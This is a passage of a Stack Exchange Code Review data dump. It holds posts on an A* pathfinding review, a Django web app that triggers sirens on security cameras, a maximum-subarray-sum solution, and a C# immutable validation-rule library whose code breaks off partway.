"Score": "0",
"body": "@EricStein Your last comment should be promoted to an answer, wouldn't you say?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-07-29T14:53:27.733",
"Id": "436954",
"Score": "1",
"body": "@dfhwze Coulda been, but I didn't have time to do one up properly, and now it's been so long that the review probably doesn't add value."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-07-29T14:59:47.917",
"Id": "436957",
"Score": "0",
"body": "@EricStein This question has one answer, and without votes. Your answer might be worth something."
}
] | [
{
"body": "<h1>Method Names</h1>\n\n<p>Robert C. Martin, who wrote the book \"Clean Code\", sad</p>\n\n<blockquote>\n <p><a href=\"https://www.goodreads.com/author/quotes/45372.Robert_C_Martin?page=2\" rel=\"nofollow noreferrer\">Don’t Use a Comment When You Can Use a Function or a Variable</a></p>\n</blockquote>\n\n<p>In your case you have the function (or method) but you need to clarify what it does with a comment because of the meaningless name of the method.</p>\n\n<blockquote>\n<pre><code>// heuristics in our case - manhattan distance\npublic int h(Vertex s, Vertex s_goal) { /* ... */ }\n\n// incremental cost of moving from node s to next node with cost\npublic int g(Vertex s, int cost) { /* ... */ }\n\n// total cost of the path via node s\npublic int f(Vertex s) { /* ... */ }\n</code></pre>\n</blockquote>\n\n<p>They could be named like <code>distance</code>, <code>incrementalCost</code> and <code>totalCost</code>.</p>\n\n<p>Simply change the name of the </p>\n\n<h1><a href=\"http://wiki.c2.com/?FeatureEnvySmell\" rel=\"nofollow noreferrer\">Feature Envy</a></h1>\n\n<blockquote>\n <p>The whole point of objects is that they are a technique to package data with the processes used on that data. [...]</p>\n</blockquote>\n\n<p>Why do you decide to use a <code>ComputationUtils</code> instead of object methods on <code>Vertex</code>?</p>\n\n<p>Two examples:</p>\n\n<blockquote>\n<pre><code>public int h(Vertex s, Vertex s_goal) {\n return Math.abs(s.getColumn() - s_goal.getColumn()) + Math.abs(s.getRow() - s_goal.getRow());\n }\n</code></pre>\n</blockquote>\n\n<pre><code>public int distanceTo(Vertex other) {\n return Math.abs(column - other.column) + Math.abs(row - other.row);\n}\n</code></pre>\n\n<p>and </p>\n\n<blockquote>\n<pre><code>public int f(Vertex s) {\n return s.getG() + s.getH();\n}\n</code></pre>\n</blockquote>\n\n<pre><code>public int totalCost() {\n return g + h;\n}\n</code></pre>\n\n<hr>\n\n<h1>Hidden Methods</h1>\n\n<p>This point goes hand in hand with <em>Feature Envy</em>. You have a heavy use of the getter methods of <code>Vertex</code> and let other objects interact with the data. </p>\n\n<blockquote>\n<pre><code>int g = ComputationUtils.g(current, cost);\n/* ... */\nif (g < adjacent.getG()) {/* ... */}\n</code></pre>\n</blockquote>\n\n<p>The same could be expressed with a method <code>current#hasSmallerCostAs(otherVertex)</code>. This would improve the readability by reducing the number of variables (<code>g</code>), additional operations (<code>ComputationUtils#g</code>) and abstracts the logic trough the name of the method.</p>\n\n<pre><code>if(current.hasSmallerCostAs(adjacent)) {/* ... */}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T16:09:26.657",
"Id": "431597",
"Score": "0",
"body": "I think it is due to it being partially based on paper and article where each function mentioned separately and names as `f(g)` etc.. Regarding methods...well usually I separate logic from the domain model."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T07:43:30.073",
"Id": "222847",
"ParentId": "222770",
"Score": "1"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "9",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T16:53:04.523",
"Id": "222770",
"Score": "3",
"Tags": [
"java",
"concurrency"
],
"Title": "Find shortest path in the matrix for multiple objects"
} | 222770 |
<p><strong>Web-app summary:</strong></p>
<p>I'm a complete beginner in web development and I made a sample web application that can trigger sirens on security cameras located in remote locations. Here's the functionality seen by the user:</p>
<ol>
<li>Go to website and brought to a landing page with a search bar.</li>
<li>Type in the name of a location.</li>
<li>Be shown all the cameras in that location, and next to each camera is a button to trigger its siren.</li>
<li>There is also a button that triggers all the sirens in that location.</li>
</ol>
<p><strong>Searching for a location:</strong></p>
<p>When the user searches for a location, the back-end routes this query to a function called <code>search_by_jobsite(jobsite)</code>. This function establishes a connection with a third-party API and queries a mock database on Zoho.com. The results are processed and then returned to the server to be shown on the front-end.</p>
<p><strong>Triggering a siren:</strong></p>
<p>This is honestly extremely simple. When the button is pressed, the request on the back-end is routed to a function called <code>pulse_siren(camera_name)</code> that just makes a simple HTTP get request to a camera's static IP address.</p>
<p><strong>My thoughts:</strong></p>
<p>After making this web-app I realized that Django was absolutely overkill since I don't even have a local database. I'm essentially just using Django as a web-server and routing. Next time I should use something like Flask, but i'm interested in how I can improve my existing code. When making this project I was primarily focused on actually getting this thing up and running and then optimizing. I feel like my <code>views.py</code> file should be turned into most class-based-views (as they're called in Django), and I read a lot up on this but I wasn't exactly sure the best way to implement this.</p>
<p><strong>My code:</strong>
I'm mostly concerned with cleaning up my <code>views.py</code> file and optimizing it for speed since it takes maybe a second to make the API call. I've set up a barebones repository with my code: <a href="https://github.com/hgducharme/barebones" rel="nofollow noreferrer">https://github.com/hgducharme/barebones</a></p>
<p><strong>What the user sees:</strong></p>
<p><a href="https://i.stack.imgur.com/4zq7n.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/4zq7n.png" alt="Search results page"></a></p>
<hr>
<p><strong>views.py</strong></p>
<pre class="lang-py prettyprint-override"><code>### views.py
from django.shortcuts import render, redirect
from django.http import JsonResponse
from django.core.exceptions import ObjectDoesNotExist
from .models import CameraSystem, CameraModel, ControlByWeb, JobSite
from django.core import serializers
from django.conf import settings
from django.contrib import messages
import json, ast, requests, pprint
from zcrmsdk import ZCRMRecord, ZCRMRestClient, ZCRMModule, ZCRMException
def siren_search(request):
# Define the term in the search
term = request.GET.get('query', '').strip().lower()
context = {'term': term}
# Handle the AJAX search
if 'query' in request.GET and request.is_ajax():
try:
cameras = CameraSystem.objects.filter(site__name__icontains=term)
json_response = serializers.serialize('json', cameras, fields=(
'asset_name', 'site',), use_natural_foreign_keys=True, use_natural_primary_keys=True)
parsed = json.loads(json_response)
print(json.dumps(parsed, indent=4, sort_keys=True))
except ObjectDoesNotExist:
return JsonResponse({'success': False}, status=400)
return JsonResponse(json_response, safe=False, status=200)
# Handle when the user presses enter
elif 'query' in request.GET and term != '' and not request.is_ajax():
try:
# Get the list of active raptor cameras at the desired jobsite
deployed = search_zoho(term)
# Sort the list so they show up in HTML as: PANTHER1, PANTHER2, PANTHER3, ..., etc. with 'N/A' at the end
context = {
'cameras': sorted(deployed, key=lambda camera: (camera['site_id'] == 'N/A', camera['site_id']) ),
'term': term
}
# Catch any error that the Zoho API might output
except ZCRMException as error:
# If Zoho didn't find any results
if error.status_code == 400 or error.status_code == 204:
pass
else:
errorString = f'There was an error with accessing Zoho: {error}'
messages.add_message(request, messages.INFO, errorString)
pass
return render(request, 'siren_search.html', context)
# Handle when the user presses a siren button for just one camera
elif 'pulse-siren' in request.GET:
# Get the current url so the we can show the same search results after they press the button
redirect_url = request.GET.get('current-url')
asset_name = request.GET.get('pulse-siren').upper()
# Pulse the siren on the desired camera, and for anything that happens add a message to the redirect
try:
response = pulse_siren(asset_name)
response.raise_for_status()
messages.add_message(request, messages.INFO, f"Successful for {asset_name}.")
except requests.exceptions.HTTPError as error:
if response.status_code == 401:
errorString = f'Looks like {asset_name} is online, but the system was not able to log in.'
messages.add_message(request, messages.INFO, errorString)
else:
errorString = f'HTTP error for {asset_name}: {error}'
messages.add_message(request, messages.INFO, errorString)
pass
except requests.exceptions.ConnectionError as error:
errorString = f'The system failed to connect to {asset_name}. Check to see if the unit is online. If it is, then then the system may have used a wrong username/password.'
messages.add_message(request, messages.INFO, errorString)
pass
except requests.exceptions.Timeout as error:
errorString = f'Timeout error for {asset_name}: the system tried to connect for three seconds but failed.'
messages.add_message(request, messages.INFO, errorString)
pass
except requests.exceptions.RequestException as error:
errorString = f'Oops, something weird happened for {asset_name}: {error}'
messages.add_message(request, messages.INFO, errorString)
pass
return redirect(redirect_url)
# Handle when the user wants to trigger all sirens
elif 'pulse-all-sirens' in request.GET:
# Get the cameras and the redirecut url
redirect_url = request.GET.get('current-url')
camera_json = request.GET.get('pulse-all-sirens')
# for some reason json.loads() doesn't work, so use literal_eval ()
camera_list = ast.literal_eval(camera_json)
# Pulse the siren for each camera on the search results page
for camera in camera_list:
asset_name = camera['asset_name']
# Pulse the siren on the desired camera, and for anything that happens add a message to the redirect
try:
response = pulse_siren(asset_name)
response.raise_for_status()
messages.add_message(request, messages.INFO,
f"Successful for {asset_name}.")
except requests.exceptions.HTTPError as error:
errorString = f'HTTP error for {asset_name}: {error}'
messages.add_message(request, messages.INFO, errorString)
pass
except requests.exceptions.ConnectionError as error:
errorString = f'The system failed to connect for {asset_name}: Check to see if the unit is online, but the system may have used a wrong username/password.'
messages.add_message(request, messages.INFO, errorString)
pass
except requests.exceptions.Timeout as error:
errorString = f'Timeout error for {asset_name}: The system tried to connect for one and a half seconds but failed.'
messages.add_message(request, messages.INFO, errorString)
pass
except requests.exceptions.RequestException as error:
errorString = f'Oops, something weird happened for {asset_name}: {error}'
messages.add_message(request, messages.INFO, errorString)
pass
return redirect(redirect_url)
else:
return render(request, 'siren_search.html', context)
### How can this API call be optimized? Maybe caching or doing something with the session?
def search_zoho(jobsite):
# Initialize the API client and search for cameras with a jobsite that matches the search
# This must be in uppercase because the sites on ZOHO are all uppercase
jobsite = jobsite.upper()
config = settings.ZOHO_CONFIG
client = ZCRMRestClient.initialize(config)
all_cameras = ZCRMModule.get_instance('Vendors').search_records(f'{jobsite}')
# Iterate over each returned camera
deployed_cameras = []
for camera_record in all_cameras.data:
# Get properties about the camera to filter results
camera = camera_record.field_data
status = (camera['Status'].lower() if 'Status' in camera else 'None')
camera_type = (camera['Type'].lower() if 'Type' in camera else 'None')
site = (camera['Site']['name'].upper() if 'Site' in camera else 'None')
# Only get the cameras that are deployed at the jobsite of type 'raptor'
if site == jobsite and camera_type == 'raptor':
# Get properties if they exist, else set the default to 'None'
asset_name = (camera['Vendor_Name'].upper() if 'Vendor_Name' in camera else 'N/A' )
site_id = (camera['Multiple_Assets'].upper() if 'Multiple_Assets' in camera else 'N/A')
# Append this camera's dictionary to the list of deployed cameras
temp_dictionary = {'asset_name': asset_name, 'site_id': site_id, 'site': site.capitalize()}
deployed_cameras.append(temp_dictionary.copy())
return deployed_cameras
def pulse_siren(asset_name):
# Configure the url for the desired camera
camera_url = 'http://' + asset_name.lower() + settings.CAMERA_URL + settings.PULSE_SIREN_HALF_SECOND # TODO: I'm using 0.5 seconds right now so I don't annoy the office
# Pulse the siren on the camera for the preset time
username = settings.RAPTOR_AUTHENTICATION['username']
password = settings.RAPTOR_AUTHENTICATION['password']
pulseSiren = requests.get(camera_url, auth=(username, password), timeout=2)
return camera_url
</code></pre>
<p><strong>siren_search.html</strong></p>
<pre class="lang-html prettyprint-override"><code>{% extends "base.html" %}
{% load staticfiles %}
{% block page_title %} Siren System {% endblock %}
{% block styles %}
<link href="{% static 'css/camera_search.css' %}" rel="stylesheet">
{% endblock %}
{% block search_title %}
<h3>Siren system</h3>
{% endblock %}
{% block search_form %}
<form id="searchform" action="{% url 'camera_search:siren_search' %}" method="GET">
<div class="input-group">
<input id="searchbar" name="query" autocomplete="on" onkeyup=getCameras(this.value)
placeholder="Search for the name of a jobsite." class="form-control" type="search" />
</div>
</form>
{% endblock %}
{% block page_content %}
<div class="container">
{% if not cameras %}
{% if term != '' %}
<!-- No results alert -->
<div class="row">
<div id="no-results" class="col-xl-8 col-md-7 col-sm-8 col-8 mx-auto">
<div id="no-results-text" class="alert alert-info text-center my-auto" role="alert">No raptor cameras
were
found at the jobsite '{{ term }}'</div>
</div>
</div>
{% endif %}
{% else %}
<div class="results-container container-fluid d-flex flex-column">
<!-- Trigger all sirens button -->
<div class="row">
<div id="trigger-all" class="col-xl-6 col-md-5 col-sm-6 col-6 mx-auto">
<form id="trigger-all-form" action="{% url 'camera_search:siren_search' %}" method="GET">
<input type="hidden" name="current-url" value="{{ request.get_full_path }}">
<button id="trigger-all-btn" name="pulse-all-sirens" type="submit"
class="btn btn-lg btn-block btn-outline-danger btn-space js-trigger-all-sirens-btn"
value="{{ cameras }}">Trigger
all sirens at {{ term }}</button>
</form>
</div>
</div>
<!-- Camera results table -->
<div class="row">
<div class="col-xl-8 col-md-7 col-sm-8 col-8 mx-auto">
<table class="table table-responsive-sm table-hover table-borderless mx-auto">
<thead>
<tr class="header">
<th scope="col" style="width:30%;">Site ID</th>
<th scope="col" style="width:25%;">Job Site</th>
<th scope="col" style="width:25%;">Asset Name</th>
<th scope="col" style="width:20%;"></th>
</tr>
</thead>
<tbody>
{% for camera in cameras %}
<tr>
<!-- If site ID is available, bold it and put it in the siren button -->
{% if camera.site_id != 'N/A' %}
<td class="align-middle"><b>{{ camera.site_id }}</b></td>
<td class="align-middle">{{ camera.site }}</td>
<td class="align-middle">{{ camera.asset_name }}</td>
<td class="align-middle">
<form id="{{ camera.asset_name }}-siren-form"
action="{% url 'camera_search:siren_search' %}" method="GET">
<input type="hidden" name="current-url" value="{{ request.get_full_path }}">
<button type="submit" name="pulse-siren" id="{{ camera.asset_name }}-siren-btn"
name="button-big-submit"
class="btn btn-outline-primary float-right js-single-trigger-btn" onclick=""
value="{{ camera.asset_name }}">{{ camera.site_id }}</button>
</form>
</td>
<!-- else, take bold off site ID ('N/A') and put the asset name in the siren button-->
{% else %}
<td class="align-middle">{{ camera.site_id }}</td>
<td class="align-middle">{{ camera.site }}</td>
<td class="align-middle">{{ camera.asset_name }}</td>
<td class="align-middle">
<form id="{{ camera.asset_name }}-siren-form"
action="{% url 'camera_search:siren_search' %}" method="GET">
<input type="hidden" name="current-url" value="{{ request.get_full_path }}">
<button type="submit" name="pulse-siren" id="{{ camera.asset_name }}-siren-btn"
name="button-big-submit"
class="btn btn-outline-primary float-right js-single-trigger-btn" onclick=""
value="{{ camera.asset_name }}">{{ camera.asset_name }}</button>
</form>
</td>
{% endif %}
</tr>
{% endfor %}
</tbody>
</table>
</div>
</div> <!-- End entire table section -->
</div><!-- End {# else #} block-->
{% endif %}
<!-- Error messages -->
{% if messages %}
<ul class="messages">
{% for message in messages %}
<li{% if message.tags %} class="{{ message.tags }}" {% endif %}>{{ message }}</li>
{% endfor %}
</ul>
{% else %}
<!-- show success -->
{% endif %}
</div> <!-- End container holding everything below navbar -->
{% endblock %} {% block javascript %}
<script type="text/javascript" src="{% static 'js/search.js' %}"></script>
{% endblock %}
</code></pre>
<p><strong>/project/app/urls.py</strong></p>
<pre class="lang-py prettyprint-override"><code>from django.urls import path, re_path
from . import views
app_name = 'camera_search'
urlpatterns = [
path('', views.siren_search, name = 'siren_search'),
]
</code></pre>
<p><strong>/project/urls.py</strong></p>
<pre class="lang-py prettyprint-override"><code>## This is the main urls.py file
from django.contrib import admin
from django.urls import path, include
from django.views.generic.base import RedirectView
urlpatterns = [
path('admin/', admin.site.urls),
path('siren-search/', include('camera_search.urls', namespace = 'camera_search')),
path('camera-info/', include('camera_info.urls', namespace="camera_info")),
path('', RedirectView.as_view(pattern_name = 'camera_search:siren_search', permanent=False)),
]
</code></pre>
| [] | [] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T17:26:43.560",
"Id": "222771",
"Score": "1",
"Tags": [
"python",
"html",
"django",
"rest"
],
"Title": "Trigger sirens on cameras in remote locations"
} | 222771 |
<p>The following code is my solution for the following Daily Coding Challenge</p>
<blockquote>
<p>Given an array of numbers, find the maximum sum of any contiguous
subarray of the array.</p>
<p>For example, given the array [34, -50, 42, 14, -5, 86], the maximum
sum would be 137, since we would take elements 42, 14, -5, and 86.</p>
<p>Given the array [-5, -1, -8, -9], the maximum sum would be 0, since we
would not take any elements.</p>
<p>Do this in O(N) time.</p>
</blockquote>
<p>I think this is done in <code>O(N)</code> time and is the best solution. If someone can think of a better way, I would be interested. </p>
<pre><code>array = [4, -2, 7, -9]
running_sum = 0
for i in range(1,len(array)):
if array[i-1] > 0:
array[i] = array[i] + array[i-1]
else:
array[i-1] = 0
print(max(array))
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T18:22:12.983",
"Id": "431353",
"Score": "2",
"body": "You can remove `running_sum = 0` :)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T19:05:39.360",
"Id": "431369",
"Score": "1",
"body": "Although it is not specified in the problem statement, the space complexity is also important. Your algorithm exhibits an \\$O(n)\\$ time complexity (because it mutates an array). There exists a constant space, linear time solution."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T21:28:04.550",
"Id": "431379",
"Score": "0",
"body": "Surely you have to store the array to process it. Therefore my not making a new variable, the space complexity is the same? @vnp"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T21:29:36.077",
"Id": "431380",
"Score": "1",
"body": "The space complexity does not account for the space taken by the input."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T21:33:40.887",
"Id": "431381",
"Score": "0",
"body": "I am curious how this would work. Because saying something like ```max_value = maximum(max_value, max_value + array[i])``` wouldn't work. How can you predict the ```i+1``` or ```i+2``` value in linear time complexity. Any clues? Thanks"
}
] | [
{
"body": "<p>I would merge the 2 loops (there is one in the max part), since not all parts are relevant for the maximum:</p>\n\n<pre><code>def best_subsum(array):\n running_sum = 0\n for i in range(1,len(array)):\n if array[i-1] > 0:\n array[i] = array[i] + array[i-1]\n if array[i] > running_sum: running_sum = array[i]\n return running_sum\n\narray = [4, -2, 7, -9]\nprint(best_subsum(array))\n</code></pre>\n\n<p>Note that branch prediction shouldnt be too much of a problem, since running sum is not check until the same if statement in the next succeding iteration.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-23T01:18:48.703",
"Id": "222786",
"ParentId": "222772",
"Score": "1"
}
},
{
"body": "<h1>changing mutable object</h1>\n\n<p>Since you are changing the original array, this code run twice can provide strange results. In general I try to avoid changing the arguments passed into a function I write, unless it's explicitly stated, or expected (like <code>list.sort</code>)</p>\n\n<h1><code>accumulate</code></h1>\n\n<p>What you are looking for is the largest difference between tha cumulative sum where the minimum comes before the maximum. Calculating the cumulative sum can be done with <code>itertools.accumulate</code>. Then you just have to keep track of the minimum of this running sum and the difference with the running minimum</p>\n\n<pre><code>def best_sum_accum(array):\n running_min = 0\n max_difference = 0\n for cumsum in accumulate(array):\n if cumsum > running_min:\n max_difference = max(max_difference, cumsum - running_min)\n running_min = min(running_min, cumsum)\n return max_difference\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-23T10:47:19.440",
"Id": "431420",
"Score": "0",
"body": "Surely this has a time complexity > ```O(N)``` because you have a nested loop? ```for``` and ```max```?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-23T12:52:00.347",
"Id": "431425",
"Score": "1",
"body": "Not really, you loop 1 timer through the array. On each iteration, you compare 2 numbers, so the time complexity is linear with the length of the array. Space complexity is constant"
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-23T10:29:30.973",
"Id": "222798",
"ParentId": "222772",
"Score": "1"
}
}
] | {
"AcceptedAnswerId": "222798",
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T17:35:53.857",
"Id": "222772",
"Score": "1",
"Tags": [
"python",
"algorithm",
"python-3.x",
"programming-challenge",
"array"
],
"Title": "Maximum contiguous sum in an array"
} | 222772 |
<p>Quite some time ago I have created the <a href="https://codereview.stackexchange.com/questions/178106/simple-object-validator">Simple object validator</a> <em>(see also <a href="https://codereview.stackexchange.com/a/178204/59161">self-answer</a>)</em>. The more I used it the more I thougt its API could be better so I have heavily refactored it and would like to you take another look at the new version.</p>
<h3>Requirements</h3>
<p>I'd like my validator to be:</p>
<ul>
<li>intuitive</li>
<li>easy to use</li>
<li>extendable</li>
<li>testable</li>
<li>helpful by providing precise error messages</li>
<li>immutable so that predefined rules cannot be manipulated</li>
</ul>
<p>In order to meet these <em>criteria</em> I have removed a couple of classes and built it on top of <code>System.Collections.Immutable</code>. Usually, you should not notice that and be able to just use the provided extensions.</p>
<h3>How it works</h3>
<p>You start with an empty collection of rules for the specified type and use one of the <code>Add</code> extensions to add validation rules. There are two types of them:</p>
<ul>
<li><code>Require</code> - which means it cannot continue when this fails (e.g. something is <code>null</code>)</li>
<li><code>Ensure</code> - the validator can continue with the next rule</li>
</ul>
<p>Validation rules are compiled from expressions and use two parameters: </p>
<ul>
<li><code>T</code> - the object being validated</li>
<li><code>TContext</code> - optional context with additional data</li>
</ul>
<p>Expressions are also used for generating error messages that are prettyfied with an <a href="https://codereview.stackexchange.com/a/178110/59161">expression visitor</a> that replaces ugly closure classes with pretty type names like <code><param:Person>.FirstName</code>.</p>
<p>The main extensibility point of this framework are the two properties <code>Require</code> and <code>Ensure</code> that return a builder that lets the user chain extensions such as <code>True</code>, <code>False</code>, <code>NotNull</code> etc.</p>
<p>There is no classic <em>validator</em> but an extension (<code>ValidateWith</code>), for an <code>IImutableList<></code> that executes the rules. It returns a tuple with the object being validated and a lookup with results. Its key is <code>bool</code> where <code>true</code> returns successul rules and <code>false</code> failed ones. When the execution should be interrupted because of validation errors, the user can chain the <code>ThrowIfValidationFailed</code> extension.</p>
<p>With the currently available APIs it's also possible to create <em>shortcuts</em> to reduce the verbosity. See the <code>Simplified</code> test below. I think it still could be better.</p>
<p>In general, a set of rules would be a <code>static</code> field. It's supposed to be build once and reused many times as compiling expressions might otherwise become a bottleneck.</p>
<h3>Example</h3>
<p>These tests show it in action:</p>
<pre><code>public class ValidationTest
{
private static readonly Person Tester = new Person
{
FirstName = "Cookie",
LastName = "Monster",
Address = new Address
{
Street = "Sesame Street"
}
};
[Fact]
public void Can_validate_rules()
{
var rules =
ValidationRuleCollection
.For<Person>()
.Add(x =>
ValidationRule
.Require
.NotNull(x))
.Add(x =>
ValidationRule
.Require
.NotNull(() => x.FirstName))
.Add(x =>
ValidationRule
.Ensure
.True(() => x.FirstName.Length > 3))
.Add(x =>
ValidationRule
.Require
.NotNull(() => x.Address))
.Add(x =>
ValidationRule
.Ensure
.False(() => x.Address.Street.Length > 100));
var (person, results) = Tester.ValidateWith(rules);
Assert.Equal(5, results[true].Count());
Assert.Equal(0, results[false].Count());
Tester.ValidateWith(rules).ThrowIfValidationFailed();
}
[Fact]
public void Can_throw_if_validation_failed()
{
var rules =
ValidationRuleCollection
.For<Person>()
.Add(x =>
ValidationRule
.Require
.NotNull(x))
.Add(x =>
ValidationRule
.Require
.NotNull(() => x.FirstName))
.Add(x =>
ValidationRule
.Ensure
.True(() => x.FirstName.Length > 3));
var (person, results) = default(Person).ValidateWith(rules);
Assert.Equal(0, results[true].Count());
Assert.Equal(1, results[false].Count());
Assert.ThrowsAny<DynamicException>(() => default(Person).ValidateWith(rules).ThrowIfValidationFailed());
}
[Fact]
public void Simplified()
{
var rules =
ValidationRuleCollection
.For<Person>()
.Require((b, x) => b.NotNull(() => x))
.Ensure((b, x) => b.NotNull(() => x.FirstName))
.Ensure((b, x) => b.True(() => x.FirstName.Length > 3));
var (person, results) = default(Person).ValidateWith(rules);
Assert.Equal(0, results[true].Count());
Assert.Equal(1, results[false].Count());
Assert.ThrowsAny<DynamicException>(() => default(Person).ValidateWith(rules).ThrowIfValidationFailed());
}
private class Person
{
public string FirstName { get; set; }
public string LastName { get; set; }
public Address Address { get; set; }
}
private class Address
{
public string Street { get; set; }
}
}
</code></pre>
<hr>
<h3>Code</h3>
<p><code>ValidationRuleCollection</code> and convenience extensions for working with immutable collections so that I don't have to create my own immutables.</p>
<pre><code>public static class ValidationRuleCollection
{
public static IImmutableList<IValidationRule<T, TContext>> For<T, TContext>() => ImmutableList<IValidationRule<T, TContext>>.Empty;
public static IImmutableList<IValidationRule<T, object>> For<T>() => ImmutableList<IValidationRule<T, object>>.Empty;
}
public static class ValidationRuleCollectionExtensions
{
public static IImmutableList<IValidationRule<T, TContext>> Add<T, TContext>(this IImmutableList<IValidationRule<T, TContext>> rules, Func<T, TContext, ValidationRuleBuilder> builder)
{
return rules.Add(builder(default, default).Build<T, TContext>());
}
public static IImmutableList<IValidationRule<T, object>> Add<T>(this IImmutableList<IValidationRule<T, object>> rules, Func<T, ValidationRuleBuilder> builder)
{
return rules.Add(builder(default).Build<T, object>());
}
public static IImmutableList<IValidationRule<T, object>> Require<T>(this IImmutableList<IValidationRule<T, object>> rules, Func<ValidationRuleBuilder, T, ValidationRuleBuilder> builder)
{
return rules.Add(builder(ValidationRule.Require, default).Build<T, object>());
}
public static IImmutableList<IValidationRule<T, object>> Ensure<T>(this IImmutableList<IValidationRule<T, object>> rules, Func<ValidationRuleBuilder, T, ValidationRuleBuilder> builder)
{
return rules.Add(builder(ValidationRule.Ensure, default).Build<T, object>());
}
public static (T Value, ILookup<bool, IValidationResult<T>> Results) ValidateWith<T, TContext>(this T obj, IImmutableList<IValidationRule<T, TContext>> rules, TContext context)
{
return
(
obj,
rules
.Evaluate(obj, context)
.ToLookup(r => r.Success)
);
}
public static (T Value, ILookup<bool, IValidationResult<T>> Results) ValidateWith<T>(this T obj, IImmutableList<IValidationRule<T, object>> rules)
{
return obj.ValidateWith(rules, default);
}
private static IEnumerable<IValidationResult<T>> Evaluate<T, TContext>(this IImmutableList<IValidationRule<T, TContext>> rules, T obj, TContext context)
{
var result = default(IValidationResult<T>);
foreach (var rule in rules)
{
yield return result = rule.Evaluate(obj, context);
if (!result.Success && rule.Option == ValidationRuleOption.Require) yield break;
}
}
}
</code></pre>
<p><code>ValidationRule</code>, its callbacks and helpers.</p>
<pre><code>public delegate bool ValidationPredicate<in T, in TContext>(T obj, TContext context);
public delegate string MessageCallback<in T, in TContext>(T obj, TContext context);
public interface IValidationRule<T, in TContext>
{
ValidationRuleOption Option { get; }
IValidationResult<T> Evaluate([CanBeNull] T obj, TContext context);
}
public enum ValidationRuleOption
{
Ensure,
Require
}
internal class ValidationRule<T, TContext> : IValidationRule<T, TContext>
{
private readonly ValidationPredicate<T, TContext> _predicate;
private readonly MessageCallback<T, TContext> _message;
private readonly string _expressionString;
public ValidationRule
(
[NotNull] Expression<ValidationPredicate<T, TContext>> predicate,
[NotNull] Expression<MessageCallback<T, TContext>> message,
[NotNull] ValidationRuleOption option
)
{
if (predicate == null) throw new ArgumentNullException(nameof(predicate));
_predicate = predicate.Compile();
_message = message.Compile();
_expressionString = ValidationParameterPrettifier.Prettify<T>(predicate).ToString();
Option = option;
}
public ValidationRuleOption Option { get; }
public IValidationResult<T> Evaluate(T obj, TContext context)
{
return new ValidationResult<T>(ToString(), _predicate(obj, context), _message(obj, context));
}
public override string ToString() => _expressionString;
public static implicit operator string(ValidationRule<T, TContext> rule) => rule?.ToString();
}
public static class ValidationRule
{
public static ValidationRuleBuilder Ensure => new ValidationRuleBuilder(ValidationRuleOption.Ensure);
public static ValidationRuleBuilder Require => new ValidationRuleBuilder(ValidationRuleOption.Require);
}
</code></pre>
<p><code>ValidtionBuilder</code>...</p>
<pre><code>public class ValidationRuleBuilder
{
private readonly ValidationRuleOption _option;
private LambdaExpression _predicate;
private LambdaExpression _message;
public ValidationRuleBuilder(ValidationRuleOption option)
{
_option = option;
}
public ValidationRuleBuilder Predicate(LambdaExpression expression)
{
_predicate = expression;
return this;
}
public ValidationRuleBuilder Message(Expression<Func<string>> message)
{
_message = message;
return this;
}
[NotNull]
public IValidationRule<T, TContext> Build<T, TContext>()
{
if (_predicate is null || _message is null) throw new InvalidOperationException("Validation-rule requires you to set rule and message first.");
var parameters = new[]
{
_predicate.Parameters.ElementAtOrDefault(0) ?? ValidationParameterPrettifier.CreatePrettyParameter<T>(),
_predicate.Parameters.ElementAtOrDefault(1) ?? ValidationParameterPrettifier.CreatePrettyParameter<TContext>()
};
var expressionWithParameter = parameters.Aggregate(_predicate.Body, ValidationParameterInjector.InjectParameter);
var predicate = Expression.Lambda<ValidationPredicate<T, TContext>>(expressionWithParameter, parameters);
var messageWithParameter = parameters.Aggregate(_message.Body, ValidationParameterInjector.InjectParameter);
var message = Expression.Lambda<MessageCallback<T, TContext>>(messageWithParameter, parameters);
return new ValidationRule<T, TContext>(predicate, message, _option);
}
}
</code></pre>
<p>...and its extensions.</p>
<pre><code>using static ValidationExpressionFactory;
public static class ValidationRuleBuilderExtension
{
public static ValidationRuleBuilder True(this ValidationRuleBuilder builder, Expression<Func<bool>> expression)
{
return
builder
.Predicate(expression)
.Message(() => "The specified expression must be 'true'.");
}
public static ValidationRuleBuilder Null<TMember>(this ValidationRuleBuilder builder, Expression<Func<TMember>> expression)
{
return
builder
.Predicate(ReferenceEqualNull(expression))
.Message(() => $"{typeof(TMember).ToPrettyString(false)} must be null.");
}
public static ValidationRuleBuilder Null<T>(this ValidationRuleBuilder builder, T value)
{
return
builder
.Predicate(ReferenceEqualNull<T>())
.Message(() => $"{typeof(T).ToPrettyString(false)} must be null.");
}
public static ValidationRuleBuilder False(this ValidationRuleBuilder builder, Expression<Func<bool>> expression)
{
return
builder
.Predicate(Negate(expression))
.Message(() => "The specified expression must be 'false'.");
}
public static ValidationRuleBuilder NotNull<TMember>(this ValidationRuleBuilder builder, Expression<Func<TMember>> expression)
{
return
builder
.Predicate(Negate(ReferenceEqualNull(expression)))
